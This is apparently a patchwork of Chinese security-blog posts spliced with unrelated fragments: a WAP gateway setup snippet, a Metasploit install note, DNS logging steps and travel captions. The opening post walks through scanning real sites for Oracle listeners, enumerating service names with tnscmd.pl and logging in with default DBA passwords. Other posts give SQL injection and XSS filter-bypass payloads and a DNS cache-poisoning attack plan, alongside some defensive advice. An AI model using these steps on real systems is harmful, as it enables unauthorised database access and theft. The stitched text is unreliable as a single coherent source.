http://demonalex.3322.org:81/

http://demonalex.8866.org:81/

http://www.demonalex.co.cc:81/

谢谢。

  Oracle数据库是现在很流行的数据库系统，很多大型网站都采用Oracle，它之所以倍受用户喜爱是因为它有以下突出的特点：

    1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库，其大小可到几百千兆，可充分利用硬件设备。支持大量用户同时在同一数据上执行 各种数据应用，并使数据争用最小，保证数据一致性。系统维护具有高的性能，Oracle每天可连续24小时工作，正常的系统操作（后备或个别计算机系统故 障）不会中断数据库的使用。可控制数据库数据的可用性，可在数据库级或在子数据库级上控制。

    2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统，保护了用户的投资。美国标准化和技术研究所 （NIST）对Oracle7 SERVER进行检验，100%地与ANSI/ISO SQL89标准的二级相兼容。

    3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性，为可接受的数据指定标准。

    4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络，允许将处理分为数据库服务器和客户应用程序，所有共享的数据管理由数据库管 理系统的计算机处理，而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境，Oracle将存放在多台计算机上的数据组合成一个逻辑 数据库，可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。

    具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行，以致Oracle上所开发的应用可移植到任何操作系统，只需很少 修改或不需修改。Oracle软件同工业标准相兼容，包括很多工业标准的操作系统，所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许 不同类型的计算机和操作系统通过网络可共享信息。

    虽然Oracle数据库具有很高的安全性，但是如果我们在配置的时候不注意安全意识，那么也是很危险的。也就是说，安全最主要的还是要靠人自己，而不能过分依赖软件来实现。

    我们知道，在mssql中，安装完成后默认有个sa的登陆密码为空，如果不更改就会产生安全漏洞。那么oracle呢？也有的。为了安装和调试的方便， Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager.笔者发现很多国内网站的Oracle数据库没有更改这 两个用户的密码，其中也包括很多大型的电子商务网站， 我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现，看下面的文章吧。

    进行测试前我们先来了解一些相关的知识，我们连接一个Oracle数据库的时候，需要知道它的service_name或者是Sid值，就象mssql一 样，需要知道数据库名。那如何去知道呢，猜？呵呵，显然是不行的。这里我们先讲讲oracle的TNS listener，它位于数据库Client和数据库Server之间，默认监听1521端口，这个监听端口是可以更改的。但是如果你用一个tcp的 session去连接1521端口的话，oracle将不会返回它的banner，如果你输入一些东西的话，它甚至有可能把你踢出去。这里我们就需要用 tnscmd.pl这个perl程序了，它可以查询远程oracle数据库是否开启（也就是ping了），查询版本，以及查询它的服务名，服务状态和数据 库服务名，而且正确率很高。

    理论方面的讲完了，如果还有什么不懂的可以去查找相关资料。现在开始测试吧，需要的工具有：ActivePerl，Oracle客户端， Superscan或者是其它扫描端口的软件， Tnscmd.pl.我们先用Superscan扫描开放了端口1521的主机，假设其IP是xx.xx.110.110，这样目标已经有了。然后我们要 做的就是用Tnscmd.pl来查询远程数据库的服务名了，Tnscmd.pl的用法如下：

    C:\perl\bin>perl tnscmd.pl
    usage: tnscmd.pl [command] -h hostname
    where 'command' is something like ping, version, status, etc.
    (default is ping)
    [-p port] - alternate TCP port to use (default is 1521)
    [--logfile logfile] - write raw packets to specified logfile
    [--indent] - indent & outdent on parens
    [--rawcmd command] - build your own CONNECT_DATA string
    [--cmdsize bytes] - fake TNS command size (reveals packet leakage)
   
    我们下面用的只有简单的几个命令，其他的命令也很好用，一起去发掘吧。
   
    然后我们就这样来：

    C:\perl\bin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent

    sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521

    writing 91 bytes

    reading

    ._.......6.........?. ..........

    DESCRIPTION=

    TMP=

    VSNNUM=135286784

    ERR=0

    SERVICES_EXIST=1

    .Q........

    SERVICE=

    SERVICE_NAME=ORCL

    INSTANCE=

    INSTANCE_NAME=ORCL

    NUM=1

    INSTANCE_CLASS=ORACLE

    HANDLER=

    HANDLER_DISPLAY=DEDICATED SERVER

    STA=ready

    HANDLER_INFO=LOCAL SERVER

    HANDLER_MAXLOAD=0

    HANDLER_LOAD=0

    ESTABLISHED=447278

    REFUSED=0

    HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

    HANDLER_NAME=DEDICATED

    ADDRESS=

    PROTOCOL=beq

    PROGRAM=/home/oracle/bin/oracle

    ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

    ARGV0=oracleORCL

    ARGS='

    LOCAL=NO

    '

    .........@
    从上面得到的信息我们可以看出数据库的服务名为ORCL，然后我们就可以通过sqlplus工具来远程连上它了，用户名和密码我们用默认的 system/manager或者是sys/manager，其他的如mdsys/mdsys，ctxsys/ctxsys等，这个默认用户和密码是随版 本的不同而改变的。如下：

    C:\oracle\ora90\BIN>sqlplus /nolog

    SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002

    (c) Copyright 2001 Oracle Corporation.　All rights reserved.

    SQL>connect system/manager@

    (description=(address_list=(address=(protocol=tcp)

    (host=xx.xx.110.110)(port=1521)))

    (connect_data=(SERVICE_NAME=ORCL)));
   
    如果密码正确，那么就会提示connected，如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了，那我们只能换别的目标了。但是我发现很多都是不改的，这个就是安全意识的问题了。

3、启动网关
-----------
必须先启动bearerbox，然后再启动 wapbox。由于bearerbox是网关的基本部分，所以必须要先启动。
启动bearerbox：
./bearerbox -v 1 /usr/local/kannel/gw/wapkannel.conf

启动wapbox：
./wapbox -v 1 /usr/local/kannel/gw/wapkannel.conf

三、通过HTTP管理网关
====================
可用命令：
http://localhost:13333/shutdown?password=yourpasswd （关闭网关）
http://localhost:13333/status?password=yourpasswd （获取网关状态）
http://localhost:13333/resume?password=yourpasswd （继续运行网关）

说明：
13333：为配置文件中admin-port指定的端口
password：为配置文件中admin-password指定的密码


四、使用一个支持WAP的手机或者模拟器测试
=======================================
1、确认Linux的IPTABLES或者其他防火墙开放相应的WAP端口；
2、修改你手机或手机模拟器中的WAP网关参数为你运行的Linux的IP地址；
3、访问一个基于WML页面的WAP站点，如果能够访问则说明成功！

---The End

在某权威网站上云通过转换为10进制方式可以绕过限制，小神无聊之余做了一下实验：

搜索型SQL注入：

1%' and '%a%'='%a

在得知系统过滤'号与%号后逐转换为：

1&#37&#39 and &#39&#37a&#37&#39=&#39&#37a

测试结果：

搜索后系统返回“什么结果都没有”的状态；

当再次搜索时无论你输入是合法还是不合法的内容，均提示“存在非法字符”（效果与直接搜索'号或%号一样）。

跨站：

在系统在线小纸条或在线提问类平台中输入：

"><script>alert(/4/);</script>转换为的结果：

&#34&#62&#60script&#62alert(/4/);&#60/script&#62

结果发现系统正常返回转换前的内容（通过FireBug定位确认输入的内容没有任何内容被替换），但不会诱发跨站。再把网页保存到本地，替换为转换前的内容，跨站OK！

以上两个实验后逐‘昏’，，，，看来所谓的10进制ASCII码转换并不能达到预期的效果，希望各位大虾拍砖，指导一下小神：P

http://st002.static.360quan.com/music/ca/d0/7b/cad07b63ca4900909a2f518b0f249e6c.mp3

歌词：

writer: showrun(from chinacissp BBS)

date:2009-08-05 09:32

前几天,趁着研究bind9的DoS vul，又重温了一下bind相关的一些安全设置。
以前常见的一个比较容易忽略的问题是忘记设置allow-transfer,这样会导致比较严重的信息泄露。以下是我参考 http://oreilly.com.cn/samplechap/dnsbind4/dns&bind4-11.pdf后,总结的一些需要注意的地方。

[separator]

[separator]

At this time, no package exists for Metasploit 3. In order to use the Metasploit Framework on Ubuntu or Debian distributions of Linux, the following packages need to be installed:

# apt-get install ruby libruby rdoc

# apt-get install libyaml-ruby

# apt-get install libzlib-ruby

# apt-get install libopenssl-ruby

# apt-get install libdl-ruby

# apt-get install libreadline-ruby

# apt-get install libiconv-ruby

# apt-get install rubygems *

*The RubyGems package may need to be manually downloaded and installed.

If you would like to use the experimental GUI, you will need to install the following packages:

# apt-get install libgtk2-ruby libglade2-ruby

If you would like to use the online update feature, you will need to install the "subversion" package as well. Once the pre-requisites have been installed, download the Unix tarball from Framework Website and extract it to the directory of your choice. If everything was installed correctly, execute the interface of your choice to get started (msfconsole, msfweb, etc).

*DNS服务器端检测方法：
本文主要探讨的是BIND服务器，以下实验针对的对象为Solaris10上安装的BIND9服务（Version: 9.2.4）。
BIND服务器端检测方式有两种：通过query来辨认异常或是通过查看CACHE的记录来辨认异常。

1）通过query来辨认异常
本功能需要开启BIND的日志审计功能，首先通过rndc命令确认是否已开启日志审计功能：
-bash-3.00# rndc status
number of zones: 6
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is OFF             <--这里的OFF代表目前还没开启query日志审计功能
server is up and running
下一步是开启query记录：
-bash-3.00# rndc querylog        <--此命令为query记录的开关命令
再查看一下状态^_^
-bash-3.00# rndc status
number of zones: 6
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is ON              <--这里的ON代表目前已开启query日志审计功能
server is up and running
来到这一步还需要编辑一下BIND的配置文件named.conf：
-bash-3.00# vi /etc/named.conf
加入以下审计配置内容块：
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
logging {
        channel audit_log {
                file "named.log" versions 3 size 20m;
                severity info;
                print-time yes;
                print-category  yes;
        };
        category default { audit_log; };
        category general { audit_log; };
        category security { audit_log; };
        category config { audit_log; };
        category resolver { audit_log; };
        category xfer-in { audit_log; };
        category xfer-out { audit_log; };
        category notify { audit_log; };
        category client { audit_log; };
        category network { audit_log; };
        category update { audit_log; };
        category queries { audit_log; };
        category lame-servers { audit_log; };
        category database { audit_log; };
   };
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*注：其实只需要激活“category queries { audit_log; };”就可以了，不过为了保证日志内容的全面性，所以...
最后重新启动named：
-bash-3.00# /etc/init.d/named restart
现在我们就可以直接通过tail来查看日志了：
-bash-3.00# tail -f /var/named/named.log
其中可能包含很多类似以下的query记录：
Aug 06 02:27:29.364 queries: client 192.168.20.197#13939: query: demonalex.3322.org IN A
Aug 06 02:27:30.406 queries: client 192.168.20.197#13940: query: demonalex.3322.org IN A
Aug 06 02:27:30.994 queries: client 192.168.20.197#13941: query: demonalex.3322.org IN A
Aug 06 02:27:31.529 queries: client 192.168.20.197#13942: query: demonalex.3322.org IN A
Aug 06 02:27:32.043 queries: client 192.168.20.197#13943: query: demonalex.3322.org IN A
Aug 06 02:27:32.554 queries: client 192.168.20.197#13944: query: demonalex.3322.org IN A
Aug 06 02:27:33.034 queries: client 192.168.20.197#13945: query: demonalex.3322.org IN A
Aug 06 02:27:33.511 queries: client 192.168.20.197#13946: query: demonalex.3322.org IN A
Aug 06 02:27:33.972 queries: client 192.168.20.197#13947: query: demonalex.3322.org IN A
Aug 06 02:27:34.436 queries: client 192.168.20.197#13948: query: demonalex.3322.org IN A
若发现大量‘查询内容相同，且源端口连贯（“#”号后为源端口）’的记录，则可能是DNS缓存中毒的先兆。但此时
不宜太早下定论，再看看下一种检查方法吧:)

2）通过查看CACHE的记录辨认异常
BIND本身不提供直接查看CACHE的功能，但我们可以通过rndc命令把CACHE给DUMP下来。当怀疑BIND服务端存在DNS缓存
中毒时，可以通过以下方式进行检查：
-bash-3.00# rndc dumpdb
-bash-3.00# cat /var/named/named_dump.db
在named_dump.db这个文本文件里包含目前BIND所‘知道’的DNS记录，不过我们主要关注的是客户端查询的记录，如：
=========================================================================
; authanswer
demonalex.3322.org.     54      A       219.137.123.41
=========================================================================
我们可以通过nslookup等命令切换到其它DNS服务器中，对以上相关记录进行查询，确认该BIND是否已被缓存中毒攻击
了。

*DNS客户端检测方法：
客户端检测方法具体需要视操作系统类型而定。若是WINDOWS系统，可以把网卡中的DNS服务器设置为‘怀疑被缓存中
毒攻击’的DNS服务器，然后通过ipconfig检查当前主机的DNS缓存：
ipconfig /displaydns
，或是通过nslookup等命令进行实时检查；若是UNIX/LINUX系统，在默认没有安装nscd服务的情况下是不会具备DNS缓
存功能的，因此只能通过nslookup等命令进行实时检查了。

*参考资料：
candon123所写的《rhel5中配置DNS服务器的日志》，原URL：
http://candon123.blog.51cto.com/704299/141616
邹福泰所写的《DNS的缓存中毒(cache poison)问题分析及建议》，原URL：
http://hi.baidu.com/zoufutai/blog/item/1b380ffb56ee9f156d22eb0b.html
yfhe所写的《BIND9详解之日志篇》，原URL：
http://www.chinaunix.net/jh/16/212998.html

http://hi.baidu.com/zoufutai/blog/item/1b380ffb56ee9f156d22eb0b.html

如果www.icbc.com.cn受到DNS　SERVER的缓存中毒(cache poison)，则使用此DNS　SERVER的用户访问中国工商银行网站时，可能到达的是一个类似工商银行网站的界面，从而使用户蒙受损失。要实现缓存中毒，要从DNS解析处理的机制分析。DNS是树型层次结构，递归式解析以求解。当www.icbc.com.cn到达DNS　SERVER时，它将请求提交给上层并最终由域名归属的权威服务器给出回答。如果DNS　SERVER递归请求解答时，尽管递归可能发生多次的请求应答，其实质就是DNS　SERVER请求域名，域名的权威服务器最终给出回答，这正是一对请求应答的UDP包。如果攻击能够伪造它是一个权威服务器应答，并且在真正的权威服务器应答返回前到达了，那么在DNS　SERVER就缓存了攻击者的回答，这个回答就是类似工商银行网站所在的IP。

UDP包通过5元组（srcip,srcport,dstip,dstport,protocol)来标识唯一性连接。DNS　SERVER能够接收攻击者的应答包，必须要求它有以下几点：1、来自权威服务器所在IP以及服务对应port　2、返回的对象是自己的IP和发包时的port　3、protocol是udp　其中1没有问题，自己向权威服务器发包解析下就知，2中发包时的port可能有点问题，需要讨论，3显然没问题。那么只要解决发包时的port伪造就可以了。UDP　port有16位，会有65536种可能，这使得攻击有些难度。幸运地是，不少DNS对来自同一客户端的各种域名请求，在做递归解析时，都会重用源端口。这点区别于TCP，TCP经常性变化端口，但UDP通常会重用端口，因为TCP变化端口有利保持与同一服务器的多个连接，而UDP这种这种需求比较少。这样，一种攻击方案设计可以考虑让攻击者先测试任意一个域名看返回的源port是什么，这个源port也将是攻击者请求攻击域名时，在DNS　SERVER所向权威服务器发起的源port。（注意：若采用随机化DNS　SERVER的源端口，将导致此攻击方法失效，如最新的ISC发布的patch以及一些版本的dns server,可用 dig porttest.dns-oarc.net TXT @dns_server_ip来判断源端口是否随机化。）

方案似乎非常简单了，

因此，攻击方案将是：

1、攻击者向DNS　SERVER请求域名www.icbc.com.cn解析

2、攻击者伪造www.icbc.com.cn所在的权威服务器（202.106.83.125）的应答

只要等待DNS　SERVER缓存清空并做递归解析请求权威记录时，就很快成功了。问题在于，为了防止此种脆弱性的漏洞，DNS请求解析协议加入了Transaction ID，以防止攻击。这种Transaction ID为16位0xFFFF，有65536种可能性，这极大加大了难度。因为攻击时间点必须在递归请求时间和权威返回记录这段短时间内才能够成功,并且不能够响应超时。尽管困难，但这并不是不可能。很简单的，攻击者可以通过向权威发送大量请求包的方式将阻塞权威返回应答，将时间留给了攻击者！

只要如攻击方案中发送大量的解析包和大量的伪造应答包，是很可能成功的，这只是一个概率问题。这个概率为多大，取决于一个良好的Transaction ID设计算法。但由于"Birthday Paradox"存在，采用“生日攻击”使得并不很大的发包数也很可能攻击成功。

注：The Birthday Paradox
生日悖论：如果一个房间里有23个人或23个人以上，那么至少两个人生日相同的概率要大于50%。考虑一年只有365天，每个人的生日都均匀分布在这365天中，则N个人生日各不相同的概率为P(N)=P(N-1)*(365-n+1)/365；有初始条件P(1)=1。则，至少两人生日相同概率为1-P(N)，经计算，1-P(23)=0.50729。
之所以称之为悖论，不是指逻辑上，而是这个数学事实与我们一般认识相抵触的意义上——一般人都会认为23个人中两个人生日相同的概率要远远小于50%。其实，23个人中可以产生23*22/2=253种组合，每种组合都有成功相等的可能性，这么开来253种组合中有一种相同的概率大于50%也不是那么不可理解的事情。但换一个角度，如果你进入一个22个人的房间，房间中与你生日相同的人的概率就会是非常低，这时组合数只有22而已！

对于ID总可能值数为t，对于n请求回应伪造的n个应答，发生Transaction ID相同的可能性概率为P=1-(1-1/t)^[n*(n-1)/2]。对于16位ID时t为65536，只需要n=700可达到100%成功率，n=300可达到50%成功率。而如果只是针对单个包特定Transaction ID只有n/65536的成功概率。

附：建议

　　如果是权威服务器，关闭递归。由于只回应自己授权域的查询，而不会缓存任何外部的数据，因此攻击无效。所以，以下都是针对通用递归解析服务器进行考虑。

　　1、及时升级到最新版本及打补丁。这是必须做的事情。

　　2、控制递归解析允许的IP及split DNS保护，并可通过forward方式使得解析不直接请求根（forward to protect-ip server and this protect-ip server only accepts the request from limited ip.)从而快速响应正确域名。破解时间race。

　　3、布署IDS，检测53端口及IP真实性及单IP请求流量限制。破解攻击包源。

　　4、采用强的随机数生成和不重用源端口的较安全DNS服务器版本。本质上使攻击不可行

　　5、采用DNSSEC（RFC 3008：Domain Name System Security (DNSSEC) Signing Authority），采用公　钥体系认证请求源及完整性校验。受限于当前的通用环境。

　　6、主动监测缓存条目，实时删除非法缓存条目。这也是一种方法，有些滞后，但能够减小影响。因为攻击成功后缓存的TTL有时为一天时间。

＊＊＊设置小的TTL，减小缓存中毒效应。（这其实是错误的，因为小的TTL会使得攻击机会增多。一次攻击成功率与机会窗口时间，即授权服务器解析响应返回时间相关，而与TTL时间无关。）具体可见下面分析：

为何采用强的随机数生成和不重用源端口可以本质上使攻击不可行的分析：

　 I: Number distinct IDs available (maximum 65536) ID空间
      P: Number of ports used (maximum around 64000 as ports under 1024　使用的端口数目
      are not always available, but often 1)
      N: Number of authoritative nameservers for a domain (averages　授权服务器数目
      around 2.5)
      F: Number of 'fake' packets sent by the attacker　伪造包数目
      R: Number of packets sent per second by the attacker　每秒发包数目
      W: Window of opportunity, in seconds. Bounded by the response　 time of the authoritative servers (often 0.1s)机会窗口时间（要在授权服务器回应时间前的响应才能够导致攻击成功，称这段时间为机会窗口时间）
      D: Average number of identical outstanding queries of a resolver　解析器同一查询的并发数
      (typically 1)
　　A: Number of attempts, one for each window of opportunity　攻击尝试次数，每一机会窗口时间一次

攻击成功的概率是机会窗口时间内伪造包数目（D＊F）除以问题空间大小（N*P*I)，即p=(D*F)/(N*P*I)，则尝试A次成功概率PS＝1-(1-p)^A，注意A=T/TTL，其中T为攻击尝试时间，TTL为域名缓存时间，每次TTL过期才导致新的攻击可能，因为这时需要做新的递归请求。

当不随机化端口时，P=1，注意到F=R*W，此时PS=1-(1-D*F/N*P*I)^A=1-(1-D*R*W/N*P*I)^A=1-(1-R/1638400)^(T/TTL)。

通常一个现实的DNS响应包最小大小为80bytes，设R＝7000,即4.5Mb/s攻击速率下，设TTL＝3600(大多数DNS服务器的默认值），那么24小时成功率为10%，一周后可达50%。这是脆弱的。特别是当TTL＝60秒时，3小时就可达50%，9小时高达90%攻击成功率。

若采用随机化端口，P=64000，此时PS＝1-(1-R/104857600000)^(T/TTL)。对于TTL＝3600的域名，需要285Gb/s才能够在24小时成功率为10%，一周后达50%。对于TTL＝60的域名，也需要4Gb/s，才能够在一周后达到50%。

也就是说，当TTL＝3600或者更大值时，攻击是不可能的，因为在一段长时间内的现实下，285G/s还是高不可及的攻击速率。当然，对于TTL＝60或者更短的情况下，攻击是有可能的，如把TTL=10s时，并且采用R=1677721.6，攻击速率为1Gb/s，一周成功率=1-(1-1677721.6/104857600000)^60480=62%。

因此，只要DNS　SERVER采用默认配置，攻击将完全不可行。要特别值得提醒的是，域名缓存TTL时间不能太短，否则攻击仍然有可能发生。不过，仍然可通过网络监管策略，我们可以发现网络的异常高流量，从而采取措施。

看看鼓浪屿的景色：

再往东：

最后还是要大伙猜猜一种食物：

最后再给点提示吧：）

前段时间有幸在客户那里看见了,,,

厂家是"国人通讯",,,

最后不少得的是当天吃的饭菜,很普通,,,,:)